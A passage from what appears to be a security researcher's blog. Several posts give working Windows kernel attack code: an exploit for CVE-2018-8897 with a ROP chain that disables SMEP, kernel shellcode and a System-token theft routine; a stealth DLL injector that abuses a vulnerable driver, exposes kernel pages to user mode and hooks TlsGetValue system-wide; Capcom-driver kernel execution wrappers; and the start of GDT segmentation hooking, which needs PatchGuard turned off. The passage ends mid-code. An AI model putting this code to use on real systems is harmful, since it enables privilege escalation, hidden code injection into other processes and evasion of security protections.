 5while ( Ctx->Rsp == StackInitial );      // Wait for it to be called another time so we get the stack pointer difference
 6 // between sequential KiDebugTrapOrFault
 7StackDelta = Ctx->Rsp - StackInitial;
 8PredictedNextRsp = Ctx->Rsp + StackDelta;      // Predict next RSP value when RtlCaptureContext is called
 9uint64_t NextRetPtrStorage = PredictedNextRsp - 0x8; // Predict where the return pointer will be located at
10NextRetPtrStorage &= ~0xF;
11*( uint64_t* ) ( Prcb + Offset_Prcb__Context ) = NextRetPtrStorage - Offset_Context__XMM13;
12 // Make RtlCaptureContext write XMM13-XMM15 over it

Now we simply need to set-up a ROP chain and write it to XMM13-XMM15. We cannot predict which half of XMM15 will get hit due to the mask we apply to comply with the movaps alignment requirement, so first two pointers should simply point at a [RETN] instruction.

We need to load a register with a value we choose to set CR4 so XMM14 will point at a [POP RCX; RETN] gadget, followed by a valid CR4 value with SMEP disabled. As for XMM13, we are simply going to use a [MOV CR4, RCX; RETN;] gadget followed by a pointer to our shellcode.

The final chain will look something like:

1-- &retn; (fffff80372e9502d)
2-- &retn; (fffff80372e9502d)
3-- &pop rcx; retn; (fffff80372ed9122)
4-- cr4_nosmep (00000000000506f8)
5-- &mov cr4, rcx; retn; (fffff803730045c7)
6-- &KernelShellcode (00007ff613fb1010)

In our shellcode, we will need to restore the CR4 value, swapgs, rollback ISR stack, execute the code we want and IRETQ back to user-mode which can be done like below:

 1NON_PAGED_DATA fnFreeCall k_ExAllocatePool = 0;
 2
 3using fnIRetToVulnStub = void( * ) ( uint64_t Cr4, uint64_t IsrStack, PVOID ContextBackup );
 4NON_PAGED_DATA BYTE IRetToVulnStub[] =
 5{
 6 0x0F, 0x22, 0xE1, // mov cr4, rcx ; cr4 = original cr4
 7 0x48, 0x89, 0xD4, // mov rsp, rdx ; stack = isr stack
 8 0x4C, 0x89, 0xC1, // mov rcx, r8 ; rcx = ContextBackup
 9 0xFB,         // sti ; enable interrupts
10 0x48, 0xCF      // iretq ; interrupt return
11};
12
13NON_PAGED_CODE void KernelShellcode()
14{
15 __writedr( 7, 0 );
16
17 uint64_t Cr4Old = __readgsqword( Offset_Pcr__Prcb + Offset_Prcb__Cr4 );
18 __writecr4( Cr4Old & ~( 1 << 20 ) );
19
20 __swapgs();
21
22 uint64_t IsrStackIterator = PredictedNextRsp - StackDelta - 0x38;
23
24 // Unroll nested KiBreakpointTrap -> KiDebugTrapOrFault -> KiTrapDebugOrFault
25 while (
26 ( ( ISR_STACK* ) IsrStackIterator )->CS == 0x10 &&
27 ( ( ISR_STACK* ) IsrStackIterator )->RIP > 0x7FFFFFFEFFFF )
28 {
29
30 __rollback_isr( IsrStackIterator );
31
32 // We are @ KiBreakpointTrap -> KiDebugTrapOrFault, which won't follow the RSP Delta
33 if ( ( ( ISR_STACK* ) ( IsrStackIterator + 0x30 ) )->CS == 0x33 )
34 {
35 /*
36 fffff00e`d7a1bc38 fffff8007e4175c0 nt!KiBreakpointTrap
37 fffff00e`d7a1bc40 0000000000000010
38 fffff00e`d7a1bc48 0000000000000002
39 fffff00e`d7a1bc50 fffff00ed7a1bc68
40 fffff00e`d7a1bc58 0000000000000000
41 fffff00e`d7a1bc60 0000000000000014
42 fffff00e`d7a1bc68 00007ff7e2261e95 --
43 fffff00e`d7a1bc70 0000000000000033
44 fffff00e`d7a1bc78 0000000000000202
45 fffff00e`d7a1bc80 000000ad39b6f938
46 */
47 IsrStackIterator = IsrStackIterator + 0x30;
48 break;
49 }
50
51 IsrStackIterator -= StackDelta;
52 }
53
54 PVOID KStub = ( PVOID ) k_ExAllocatePool( 0ull, ( uint64_t )sizeof( IRetToVulnStub ) );
55 Np_memcpy( KStub, IRetToVulnStub, sizeof( IRetToVulnStub ) );
56
57 // ------ KERNEL CODE ------
58
59 ....
60
61 // ------ KERNEL CODE ------
62
63 __swapgs();
64
65 ( ( ISR_STACK* ) IsrStackIterator )->RIP += 1;
66 ( fnIRetToVulnStub( KStub ) )( Cr4Old, IsrStackIterator, ContextBackup );
67}

We can’t restore any registers so we will make the thread responsible for the execution of vulnerability store the context in a global container and restore from it instead. Now that we executed our code and returned to user-mode, our exploit is complete!

Let’s make a simple demo stealing the System token:

 1uint64_t SystemProcess = *k_PsInitialSystemProcess;
 2uint64_t CurrentProcess = k_PsGetCurrentProcess();
 3
 4uint64_t CurrentToken = k_PsReferencePrimaryToken( CurrentProcess );
 5uint64_t SystemToken = k_PsReferencePrimaryToken( SystemProcess );
 6
 7for ( int i = 0; i < 0x500; i += 0x8 )
 8{
 9 uint64_t Member = *( uint64_t * ) ( CurrentProcess + i );
10
11 if ( ( Member & ~0xF ) == CurrentToken )
12 {
13 *( uint64_t * ) ( CurrentProcess + i ) = SystemToken;
14 break;
15 }
16}
17
18k_PsDereferencePrimaryToken( CurrentToken );
19k_PsDereferencePrimaryToken( SystemToken );

Complete implementation of the concept can be found at: https://github.com/can1357/CVE-2018-8897

Credits:

@0xNemi and @nickeverdox for finding the vulnerability

P.S.: If you want to try this exploit out, you can uninstall the relevant update and give it a try!

P.P.S.: Before you ask why I don’t use intrinsics to read/write GSBASE, it is because MSVC generates invalid code:

Making the Perfect Injector: Abusing Windows Address Sanitization and CoW

Wed, 02 May 2018 00:00:00 +0000

By the end of this post, I aim to make an injector unlike any other: one that by design makes your DLL not debuggable from UM, makes your pages invisible to NtQueryVirtualMemory and NtReadVirtualMemory, and lets you execute code in target process without even having a valid handle; and while doing this I want it to be compatible with Patchguard, have no kernel driver loaded while the target is running and require no handle at all.

Now, this may seem like a stupidly complicated goal, however, it is in fact really simple because Windows will be helping us.

(Source code can be found at the bottom)

0x1: Abusing Windows Address Sanitization

Anyone who has opened ntoskrnl.exe in IDA probably noticed these checks:

 1__int64 __usercall MiReadWriteVirtualMemory@<rax>(ULONG_PTR BugCheckParameter1@<rcx>, unsigned __int64 a2@<rdx>, unsigned __int64 a3@<r8>, __int64 a4@<r9>, __int64 a5, int a6)
 2{
 3 ...
 4 if ( v10 < a3 || v9 > 0x7FFFFFFEFFFFi64 || v10 > 0x7FFFFFFEFFFFi64 )
 5 return 0xC0000005i64;
 6 ...
 7}
 8__int64 __fastcall MmQueryVirtualMemory(__int64 a1, unsigned __int64 a2, __int64 a3, unsigned __int64 a4, unsigned __int64 a5, unsigned __int64 *a6)
 9{
10 ...
11 if ( v12 > 0x7FFFFFFEFFFFi64 )
12 return 0xC000000Di64;
13 ...
14}

Okay so what is so interesting about these you might be asking right now, 0x7FFFFFFEFFFF marks the end of user-mode memory so they are obviously there to make sure it doesn’t leak kernel memory to user-mode.

Here’s what makes them so interesting: these constants are hard-coded by the operating systems and are NOT what the processor actually uses to decide whether a page is accessible from cpl3 or not.

In case you are not familiar with page tables, here’s how virtual memory works:

The first 12 bits (&0xFFF) of a virtual address indicates the offset from the resolved page, the next four 9 bit combinations (&0x1FF000, &0x3FE00000, &0x7FC0000000, &0xFF8000000000) indicate the indices of the entry in the page table, page directory, page directory pointer and page map level4 respectively. These entries, apart from linking to the lower level also contain certain flags like write disable, execute disable, etc; as you can see from the definitions below.

 1#pragma pack(push, 1)
 2typedef union CR3_
 3{
 4 uint64_t value;
 5 struct
 6 {
 7 uint64_t ignored_1 : 3;
 8 uint64_t write_through : 1;
 9 uint64_t cache_disable : 1;
 10 uint64_t ignored_2 : 7;
 11 uint64_t pml4_p : 40;
 12 uint64_t reserved : 12;
 13 };
 14} PTE_CR3;
 15
 16typedef union VIRT_ADDR_
 17{
 18 uint64_t value;
 19 void *pointer;
 20 struct
 21 {
 22 uint64_t offset : 12;
 23 uint64_t pt_index : 9;
 24 uint64_t pd_index : 9;
 25 uint64_t pdpt_index : 9;
 26 uint64_t pml4_index : 9;
 27 uint64_t reserved : 16;
 28 };
 29} VIRT_ADDR;
 30
 31typedef uint64_t PHYS_ADDR;
 32
 33typedef union PML4E_
 34{
 35 uint64_t value;
 36 struct
 37 {
 38 uint64_t present : 1;
 39 uint64_t rw : 1;
 40 uint64_t user : 1;
 41 uint64_t write_through : 1;
 42 uint64_t cache_disable : 1;
 43 uint64_t accessed : 1;
 44 uint64_t ignored_1 : 1;
 45 uint64_t reserved_1 : 1;
 46 uint64_t ignored_2 : 4;
 47 uint64_t pdpt_p : 40;
 48 uint64_t ignored_3 : 11;
 49 uint64_t xd : 1;
 50 };
 51} PML4E;
 52
 53typedef union PDPTE_
 54{
 55 uint64_t value;
 56 struct
 57 {
 58 uint64_t present : 1;
 59 uint64_t rw : 1;
 60 uint64_t user : 1;
 61 uint64_t write_through : 1;
 62 uint64_t cache_disable : 1;
 63 uint64_t accessed : 1;
 64 uint64_t dirty : 1;
 65 uint64_t page_size : 1;
 66 uint64_t ignored_2 : 4;
 67 uint64_t pd_p : 40;
 68 uint64_t ignored_3 : 11;
 69 uint64_t xd : 1;
 70 };
 71} PDPTE;
 72
 73typedef union PDE_
 74{
 75 uint64_t value;
 76 struct
 77 {
 78 uint64_t present : 1;
 79 uint64_t rw : 1;
 80 uint64_t user : 1;
 81 uint64_t write_through : 1;
 82 uint64_t cache_disable : 1;
 83 uint64_t accessed : 1;
 84 uint64_t dirty : 1;
 85 uint64_t page_size : 1;
 86 uint64_t ignored_2 : 4;
 87 uint64_t pt_p : 40;
 88 uint64_t ignored_3 : 11;
 89 uint64_t xd : 1;
 90 };
 91} PDE;
 92
 93typedef union PTE_
 94{
 95 uint64_t value;
 96 VIRT_ADDR vaddr;
 97 struct
 98 {
 99 uint64_t present : 1;
100 uint64_t rw : 1;
101 uint64_t user : 1;
102 uint64_t write_through : 1;
103 uint64_t cache_disable : 1;
104 uint64_t accessed : 1;
105 uint64_t dirty : 1;
106 uint64_t pat : 1;
107 uint64_t global : 1;
108 uint64_t ignored_1 : 3;
109 uint64_t page_frame : 40;
110 uint64_t ignored_3 : 11;
111 uint64_t xd : 1;
112 };
113} PTE;
114#pragma pack(pop)

The flag that interests us is the .user one, the user/supervisor flag gets to decide whether a memory region is accessible from user-mode. So in contrast to what people think, the microcode for these checks would be something like this:

1Pte->user & Pde->user & Pdpte->user & Pml4e->user

instead of

1Va >= 0xFFFFFFFF80000000

Doesn’t this sound abusable to you? Because it definitely is. We will be using it to create a page that is invisible to all user-mode APIs in our case which is as simple to do as:

 1BOOL ExposeKernelMemoryToProcess( MemoryController& Mc, PVOID Memory, SIZE_T Size, uint64_t EProcess )
 2{
 3 Mc.AttachTo( EProcess );
 4
 5 BOOL Success = TRUE;
 6
 7 Mc.IterPhysRegion( Memory, Size, [ & ] ( PVOID Va, uint64_t Pa, SIZE_T Sz )
 8 {
 9 auto Info = Mc.QueryPageTableInfo( Va );
10
11 Info.Pml4e->user = TRUE;
12 Info.Pdpte->user = TRUE;
13 Info.Pde->user = TRUE;
14
15 if ( !Info.Pde || ( Info.Pte && ( !Info.Pte->present ) ) )
16 {
17 Success= TRUE;
18 }
19 else
20 {
21 if ( Info.Pte )
22 Info.Pte->user = TRUE;
23 }
24 } );
25
26 Mc.Detach();
27
28 return Success;
29}
30PVOID Memory = AllocateKernelMemory( CpCtx, KrCtx, Size );
31ExposeKernelMemoryToProcess( Controller, Memory, Size, Controller.CurrentEProcess );
32ZeroMemory( Memory, Size );

Voila, now we have our super-secret page. (I am using a wrapper I made for physical memory access before so if you want to see how the linear translation or the resolving of page table entries are implemented you can check that out.)

0x2: Abusing Copy-on-Write

Now that we are done with hiding the memory, all that is left to do is actually execute it and to do that we will be abusing Copy-on-Write this time.

CoW is a technique used by operating systems to save memory by making processes share certain physical memory regions until they actually get edited.

We know that ntdll.dll gets loaded for every process and its code (.text) region is rarely modified if at all, so why allocate physical memory for it again and again for hundreds of processes? That is exactly why modern operating systems use the technique called CoW.

The implementation is very simple:

When a PE file gets mapped, if it was mapped to some other process too and its VA is free on the current process as well, simply copy the PFN and set the flag to make it read-only.
When a PageFault occurs due to an instruction trying to write on the page, allocate new physical memory, set the PFN of the PTE and remove the read-only flag.

This means that when we hook the DLL by using physical memory we actually end up creating a system-wide hook.

How can we hijack a thread with this?

Well, let’s pick a commonly called function and hook it: TlsGetValue.

Now, the PML4E changes from process to process so the kernel memory we exposed are not accessible from all processes, so we need to find a padding in KERNEL32.dll to check for the pid before we just jump to our stub in our lovely kernel page.

The pid check will be very simple:

1std::vector<BYTE> PidBasedHook =
2{
3 0x65, 0x48, 0x8B, 0x04, 0x25, 0x30, 0x00, 0x00, 0x00, // mov rax, gs:[0x30]
4 0x8B, 0x40, 0x40, // mov eax,[rax+0x40] ; pid
5 0x3D, 0xDD, 0xCC, 0xAB, 0x0A, // cmp eax, TargetPid
6 0x0F, 0x85, 0x00, 0x00, 0x00, 0x00, // jne 0xAABBCC
7 0x48, 0xB8, 0xAA, 0xEE, 0xDD, 0xCC, 0xBB, 0xAA, 0x00, 0x00, // mov rax, KernelMemory
8 0xFF, 0xE0 // jmp rax
9};

As PE regions are always 0x1000 aligned, finding a 35-byte padding will be a piece of cake, as long as we look for 0x00 (page padding) and not 0xCC/0x90 (intra-function padding).

In the execution stub, we will have to do some tricks as well. We only want one thread to execute our code, we want to unhook TlsGetValue before we continue execution and I noticed that sometimes the changes in physical memory didn’t instantly have an effect on instructions executed and we want to make sure they are applied, so we will implement three checks at the beginning of the stub.

 1std::vector<BYTE> Prologue =
 2{
 3 0x00, 0x00, // data
 4 0xF0, 0xFE, 0x05, 0xF8, 0xFF, 0xFF, 0xFF, // lock inc byte ptr [rip-n]
 5 // wait_lock:
 6 0x80, 0x3D, 0xF0, 0xFF, 0xFF, 0xFF, 0x00, // cmp byte ptr [rip-m], 0x0
 7 0xF3, 0x90, // pause
 8 0x74, 0xF5, // je wait_lock
 9
10 0x48, 0xB8, 0xAA, 0xEE, 0xDD, 0xCC, 0xBB, 0xAA, 0x00, 0x00, // mov rax, 0xAABBCCDDEEAA
11 // data_sync_lock:
12 0x0F, 0x0D, 0x08, // prefetchw [rax]
13 0x81, 0x38, 0xDD, 0xCC, 0xBB, 0xAA, // cmp dword ptr[rax], 0xAABBCCDD
14 0xF3, 0x90, // pause
15 0x75, 0xF3, // jne data_sync_lock
16
17 0xF0, 0xFE, 0x0D, 0xCF, 0xFF, 0xFF, 0xFF, // lock dec byte ptr [rip-n]
18 0x75, 0x41, // jnz continue_exec
19 0x53, // --- start executing DllMain ---

The first spinlock, wait_lock is to make sure the threads entering this stub stall execution until we let it continue from our injector. The second spinlock, data_sync_lock is to make sure the old TlsGetValue data is written back before continuing execution. The final atomic instruction, lock dec, is the complementary part for the lock inc at the beginning of the stub; lock inc stored the amount of threads waiting in the spinlock, and the lock dec atomically decrements this count; as it does that if the value hits zero zero-flag is set and as this operation is atomic this is done only once so we check the zero-flag to decide whether we execute DllMain or continue execution.

Now that we have all tricks set-up, the implementation of the actual injector is very simple:

Load vulnerable driver
Map physical memory to user-mode
Search for certain offsets (UniqueProcessId, DirectoryTableBase, ActiveProcessLinks)
Save current EProcess and CR3 values for user-mode use
Allocate enough kernel pool memory for our injector stub and image
Unload vulnerable driver
Map our image to the kernel memory (Fix .relocs and create a stub that gets the imports for us as I cannot bother reading EProcess->Peb)
Wait for target process
Expose the kernel page to target process
Hook TlsGetValue system-wide and make it check for pid before jumping to our stub at kernel memory
Wait for Stub->SpinningThreadCount to be non zero
Unhook TlsGetValue, set Stub->Free = TRUE
Profit.

Almost magic!

Source code: https://github.com/can1357/ThePerfectInjector

Forgive me for the hasty image mapping implementation, and the debug code left if there is any. This is meant to be a PoC rather than a ready to go pasta.

Escaping SMEP Hell: Exploiting Capcom Driver In a Safe Manner

Sat, 28 Apr 2018 00:00:00 +0000

Trapped in a SMEP disabled payload not being able to do anything reliably? You have come to the right place.

I’ve seen so many people using Capcom driver in an unsafe manner that I wanted to make this post, simply explaining why some practices are incredibly unsafe and how we can fix this. When these problems are pointed out, the reply most of the times is “works on my machine /shrug” but when you are not the only user you are setting yourself up for failure (speaking from personal experience). It is true that Capcom driver is inherently unsafe, however with certain changes we can make it much more reliable.

There are two ways I’ve seen Capcom driver being used: 1) Stay _disable()’d and pray the NT routines with IRQL requirements somehow work. 2) Call _enable() and pray no context switch happens / patchguard doesn’t get angry.

The problem with enabling interrupts is that during execution a context switch might happen, resetting CR4 value, enabling SMEP again. This means when we return to our code in user-mode we are going to bug-check. But we still need interrupts to be enabled to call certain functions in kernel so we don’t have a choice… or do we?

Yes we do, we can rely on a small trick, a property of ExAllocatePoolWithTag to be specific.

When we make a small allocation (smaller than 0xFE0 bytes) in a non-special pool, ExAllocatePoolWithTag will only actually allocate new pages for our pool if it cannot find a block for our size and it cannot split any large blocks to complete our allocation – which never happens – and luckily for us, this process does not require interrupts to be enabled.

 1PVOID __stdcall ExAllocatePoolWithTag(POOL_TYPE PoolType, SIZE_T NumberOfBytes, ULONG Tag)
 2{
 3 ...
 4 if ( !MmSpecialPoolTag || !ExpUseSpecialPool(NumberOfBytes_, (unsigned int)v10) )
 5 {
 6LABEL_10:
 7 if ( NumberOfBytes_ > 0xFE0 )
 8 {
 9 result = (PVOID)ExpAllocateBigPool(0i64, v5, NumberOfBytes_, v10, 0);
10 if ( result )
11 return result;
12 goto LABEL_260;
13 }
14 ...
15 // Proceeds to allocate a small pool ...
16 ...
17}

We are going to allocate a stub in kernel memory that executes these calls for us.

 10x0F, 0x20, 0xE0, // mov rax,cr4 ; -
 20x48, 0x0F, 0xBA, 0xE8, 0x14, // bts rax,0x14 ; | will be nop'd if no SMEP support
 30x0F, 0x22, 0xE0, // mov cr4,rax ; -
 40xFB, // sti
 50x48, 0x8D, 0x05, 0x07, 0x00, 0x00, 0x00, // lea rax,[rip+0x7] ; continue
 60x8F, 0x40, 0x12, // pop QWORD PTR [rax+0x12] ; ret_store
 70x50, // push rax
 80xFF, 0x60, 0x1A, // jmp QWORD PTR [rax+0x1a] ; call_store
 90xFA, // cli
100x0F, 0x20, 0xE1, // mov rcx,cr4
110x48, 0x0F, 0xBA, 0xF1, 0x14, // btr rcx,0x14
120x0F, 0x22, 0xE1, // mov cr4,rcx
130xFF, 0x25, 0x00, 0x00, 0x00, 0x00, // jmp QWORD PTR [rip+0x0] ; ret_store
14
150x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // ret_store: dq 0
160x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // call_store: dq 0

This small stub enables SMEP and interrupts, saves return pointer to the allocated space, replaces it to point to our epilogue (which disables interrupts & SMEP, and returns to saved pointer) and jumps to the procedure.

We are going to initialize and call it like below:

 1NON_PAGED_CODE static void Khk_AllocatePassiveStub()
 2{
 3 PVOID Out = ( PVOID ) Khk_ExAllocatePool( 0ull, sizeof( Kh_PassiveCallStubData ) );
 4 Np_memcpy( Out, Kh_PassiveCallStubData, sizeof( Kh_PassiveCallStubData ) );
 5 Khk_PassiveCallStub = ( fnPassiveCall ) Out;
 6}
 7
 8template<typename ...Params>
 9NON_PAGED_CODE static uint64_t Khk_CallPassive( PVOID Ptr, Params &&... params )
10{
11 *( PVOID* ) ( ( ( PUCHAR ) Khk_PassiveCallStub ) + Kh_PassiveCallStubCallStoreOffset ) = Ptr;
12 return Khk_PassiveCallStub( std::forward<Params>( params ) ... );
13}
14
15static void Khu_Init( CapcomContext* CpCtx, KernelContext* KrCtx )
16{
17 int CpuInfo[ 4 ];
18 __cpuid( CpuInfo, 0x7 );
19
20 if ( !( CpuInfo[ 1 ] & ( 1 << 7 ) ) ) // EBX : 1 << 7 = SMEP
21 {
22 printf( "[+] No SMEP support!\n" );
23 memset( Kh_PassiveCallStubData, 0x90, Kh_PassiveCallStubSmepEnabledOffset );
24 }
25
26 Khk_ExAllocatePool = KrCtx->GetProcAddress<fnFreeCall>( "ExAllocatePool" );
27 CpCtx->ExecuteInKernel( Khk_AllocatePassiveStub );
28}
29
30// Example usage
31
32Khu_Init( CpCtx, KrCtx );
33...
34CpCtx->ExecuteInKernel( NON_PAGED_LAMBDA()
35{
36 ...
37 Khk_CallPassive( DbgPrint, ... );
38 ...
39} );

Although this is not thread-safe, it doesn’t really matter to us. Now that we can call functions that require interrupts to be enabled, all we need to do is to make sure our code runs fine while interrupts are disabled too. To achieve this we are simply going to use separate code and data sections for anything related to kernel, VirtualLock to make sure the pages won’t be paged-out and make sure our code does not access any memory that can be paged out. (You can check the Github repo below for the implementation details and no NtLockVirtualMemory is not no-op.)

Here’s an example:

 1#include <iostream>
 2#include <assert.h>
 3#include "LockedMemory.h"
 4#include "KernelRoutines.h"
 5#include "CapcomLoader.h"
 6#include "KernelHelper.h"
 7
 8int main()
 9{
10 assert( Np_LockSections() );
11
12 KernelContext* KrCtx = Kr_InitContext();
13 CapcomContext* CpCtx = Cl_InitContext();
14
15 assert( CpCtx );
16 assert( KrCtx );
17
18 Khu_Init( CpCtx, KrCtx );
19 printf( "[+] Khk_PassiveCall @ %16llx\n", Khk_PassiveCallStub );
20
21 NON_PAGED_DATA static char Format[] = "Jearning how to count: %s %s %s %s %d %d...";
22 NON_PAGED_DATA static auto DbgPrint = KrCtx->GetProcAddress<>( "DbgPrint" );
23 NON_PAGED_DATA static PVOID AllocatedMemory = 0;
24
25 CpCtx->ExecuteInKernel( NON_PAGED_LAMBDA()
26 {
27 // When you do something that requires interrupts to be enabled, use Khk_PassiveCall; such as a big memory allocation
28 PVOID Out = ( PVOID ) Khk_CallPassive( Khk_ExAllocatePool, 0ull, 0x100000 );
29 // Do not use memcpy, memset or ZeroMemory in kernel context; use Np_XXX equivalents
30 Np_ZeroMemory( Out, 0x100000 );
31
32 // Make sure all the UM data you reference from kernel has NON_PAGED_DATA prefix
33 AllocatedMemory = Out;
34 Format[ 0 ] = 'L';
35
36 // Do not call _enable()
37 // _enable();
38
39 // When you require a kernel api to be called use KrCtx to get it BEFORE you are in kernel context.
40 // MmGetSystemRoutineAddress requires IRQL==PASSIVE_LEVEL and is bad engineering on Capcom's side.
41
42 // You can use data without NON_PAGED_DATA prefix in Khk_PassiveCall though. (the strings in this case)
43 Khk_CallPassive( DbgPrint, Format, "1", "2", "3", "4", 5ull, 6ull );
44 // Make sure you specify the sizes for the integers (5ull instead of 5)
45 } );
46
47 printf( "[+] AllocatedMemory @ %16llx\n", AllocatedMemory );
48
49 Cl_FreeContext( CpCtx );
50 Kr_FreeContext( KrCtx );
51
52 return 0;
53}

Here’s the final wrapper: Github

Guidelines for safe code:

Use Np_ZeroMemory (stobs) instead of ZeroMemory
Use Np_memcpy (movsb) instead of memcpy
Use Np_memset (stosb) instead of memset
Disable Security Checks (/GS-)
Disable Control Flow Guard
Don’t compile in debug mode
Don’t use any functions that are not NON_PAGED_CODE prefixed (INCLUDING CRT AND STD!)
Wrap all lambdas with NON_PAGED_LAMBDA
Make sure all the variables you reference are prefixed NON_PAGED_DATA, unless you are doing so from Khk_CallPassive
Do not use any ntoskrnl routines with IRQL requirements directly and call them using Khk_CallPassive instead
Do not enable interrupts
Get the procedures you need using KrCtx->GetProcAddress<>(…) outside of kernel context
Invoke nt!memcpy from Khk_CallPassive if you need to copy paged memory
fnFreeCall and fnPassiveCall are convenient wrappers I use, but they require you to specify sizes (ex: 0ull instead of 0) as it will go with the smallest size possible if you do not specify it and you will end up with garbage higher bytes so specify the size

Splitting Data from Code, Forgotten x86 Feature: Segmentation

Thu, 26 Apr 2018 00:00:00 +0000

With the introduction of sTLB with Intel Nehalem, TLB splitting – once a reliable technique – became a thing of the past. Those who had to hook user-mode stealthily started looking into hypervisors; specifically EPT violations. However, implementing a hypervisor means implementing bloated, platform dependent code which is not the best way to go when you are trying to ship a software – especially if you are trying to be stealthy as virtualization is rather simple to detect and hard to hide.

This is where segmentation comes into play. Although we have been using CS==SS==DS model for a long time, segmentation has been here since 1978, inactive but functional. The value of CS dictates how the instructions get executed and the value of DS dictates how the memory gets read; practically what we wanted from TLB splitting.

Although we will have to disable Patchguard to use this technique (which is relatively simple), this technique will let us do many interesting things such as spoofing return pointer, hooking functions without changing .text and extensive call instrumentation.

We will have to hook a bunch of kernel functions and create additional segments. But before that, let’s talk a bit about the way this works fundamentally:

This technique works basically by creating a shadow module, which we modify instead of the original module. We allocate a memory block equal in size with the original module and then copy its contents 1:1. Although the data for the code is in a different memory region, as IP will not be different we will not have to do any relocations. Then we will clone the GDT entry of our original CS (whether its 0x23 or 0x33) and set the base to Newly Allocated Memory - Real Module Base, which is as simple as:

 1typedef struct _KGDTENTRY
 2{
 3 uint8_t Limit0;
 4 uint8_t Limit1;
 5 uint8_t Base0;
 6 uint8_t Base1;
 7 uint8_t Base2;
 8 uint8_t Access;
 9 uint8_t Limit2 : 4;
10 uint8_t Unk : 1;
11 uint8_t L : 1;
12 uint8_t Db : 1;
13 uint8_t Granularity : 1;
14 uint8_t Base3;
15} KGDTENTRY;
16
17typedef struct _SET_ENTRY_DPC_ARGS
18{
19 uint16_t EntryId;
20 uint64_t Entry;
21 NTSTATUS Status;
22
23 uint64_t Error_Trgt;
24 uint64_t Error_Base;
25 uint64_t Error_Lmt;
26} SET_ENTRY_DPC_ARGS;
27
28static void Gdt_SetEntryDpc( KDPC *Dpc, SET_ENTRY_DPC_ARGS* Args, PVOID SystemArgument1, PVOID SystemArgument2 )
29{
30 uint64_t Backup = DisableWP();
31
32 GDTR Gdtr;
33 _sgdt( &Gdtr );
34
35 uint64_t* Limit = Gdtr.Base + Gdtr.Limit + 1 - 8;
36 uint64_t* Target = Gdtr.Base + Args->EntryId * 8;
37
38 if ( Target > Limit )
39 {
40 Args->Error_Trgt = Target;
41 Args->Error_Base = Gdtr.Base;
42 Args->Error_Lmt = Gdtr.Limit;
43 Args->Status = GDT_SEG_NOT_PRES;
44 Log( "Target (%x) > Limit (%x) [%d]\n", Target, Limit, KeGetCurrentProcessorNumber() );
45 }
46 else
47 {
48 *Target = Args->Entry;
49 Log( "Target (%x) <= Limit (%x) [%d]\n", Target, Limit, KeGetCurrentProcessorNumber() );
50 }
51
52 KeSignalCallDpcSynchronize( SystemArgument2 );
53 ResetWP( Backup );
54 KeSignalCallDpcDone( SystemArgument1 );
55}
56
57static NTSTATUS Gdt_SetEntry( uint16_t EntryId, uint64_t Entry )
58{
59 static SET_ENTRY_DPC_ARGS Args;
60 Args.EntryId = EntryId;
61 Args.Entry = Entry;
62 Args.Status = STATUS_SUCCESS;
63 KeGenericCallDpc( Gdt_SetEntryDpc, &Args );
64 return Args.Status;
65}
66
67static NTSTATUS Gdt_SetupSeg( uint32_t Seg, uint8_t Wow64, uint32_t Base, uint32_t Limit )
68{
69 BOOLEAN Granularity = Limit > 0xFFFFF;
70
71 if ( Granularity )
72 Limit /= 0x1000; // 4 kb
73
74 if ( Limit > 0xFFFFF )
75 return GDT_LIM_TOO_BIG;
76
77 uint64_t SegBaseVal = Wow64 ? Gdt_GetEntry( GDT_ENTRY( 0x23 ) ) : Gdt_GetEntry( GDT_ENTRY( 0x33 ) );
78 KGDTENTRY* SegBase = &SegBaseVal;
79
80 SegBase->Base0 = ( Base >> 8 * 0 ) & 0xFF;
81 SegBase->Base1 = ( Base >> 8 * 1 ) & 0xFF;
82 SegBase->Base2 = ( Base >> 8 * 2 ) & 0xFF;
83 SegBase->Base3 = ( Base >> 8 * 3 ) & 0xFF;
84
85 SegBase->Limit0 = ( Limit >> 8 * 0 ) & 0xFF;
86 SegBase->Limit1 = ( Limit >> 8 * 1 ) & 0xFF;
87 SegBase->Limit2 = ( Limit >> 8 * 2 ) & 0xF;
88
89 SegBase->Granularity = Granularity;
90 return Gdt_SetEntry( GDT_ENTRY( Seg ), SegBaseVal );
91}

Simply copy the value of the original segment, set the base, limit, and granularity accordingly and then spawn a DPC to get the GDT base for each processor with sgdt and then write to the specified index. (You might notice that I am not allocating a new GDT, this is because few of my users were getting weird system freezes when the GDT pointer was replaced)

Now that we set up the new segment successfully, this is where we run into our first problem, out of bounds IP.

Let’s look at the following example:

 1Module base (0x400000) /---------------------\ /---------------------\ (CS Base + 0x400000) Shadow module base
 2 | ... | | ... |
 3 | CALL 0x600214 | | CALL 0x600214 |
 4 | MOV [0x312321], EAX | | MOV [0x312321], EAX |
 5 | CALL 0x333333 | | CALL 0x333333 |
 6 | ... | | ... |
 7 | ... | | ... |
 8 | ... | | ... |
 9 | ... | | ... |
10Module end (0x500000) \---------------------/ \---------------------/ (CS Base + 0x500000) Shadow module end

This can be an issue when the target IP is lower than module base (CALL 0x333333) or when the target IP is higher than module base (CALL 0x600214) because those instructions will respectively execute CS Base + 0x333333 and CS Base + 0x600214, which we did not copy.

First one is simple to handle. Simply set the limit of the GDT entry to module size and when a GPF occurs either restore CS and set IP = IP + Shadow Base - Real Base (and risk leaking shadow base as it will push the return pointer, pointing at shadow module, to stack and then continue execution at 0x23:shadowmodule) or resolve the call yourself, like I do below:

 1static BOOLEAN ResolveCall( ITRAP_FRAME* Frame, UCHAR* Instruction, uint32_t* Target, uint8_t* InstructionSize )
 2{
 3 if ( Instruction[ 0 ] != 0xE8 && Instruction[ 0 ] != 0xFF )
 4 return FALSE;
 5
 6 hde32s s = { 0 };
 7 *InstructionSize = hde32_disasm( Instruction, &s );
 8
 9 if ( Instruction[ 0 ] == 0xFF && s.modrm_reg == 2 )
 10 {
 11 if ( s.sib )
 12 {
 13 if ( s.modrm_mod == 0 )
 14 *Target = *( uint32_t* ) ( ResolveRegisterById( Frame, s.sib_index ) * ( 1 << s.sib_scale ) + s.disp.disp32 );
 15 else if ( s.modrm_mod == 1 )
 16 *Target = *( uint32_t* ) ( ResolveRegisterById( Frame, s.sib_base ) + s.disp.disp32 );
 17 else
 18 *Target = *( uint32_t* ) ( ResolveRegisterById( Frame, s.sib_base ) + ResolveRegisterById( Frame, s.sib_index ) * ( 1 << s.sib_scale ) + s.disp.disp32 );
 19 }
 20 else
 21 {
 22 if ( s.modrm_mod == 0 )
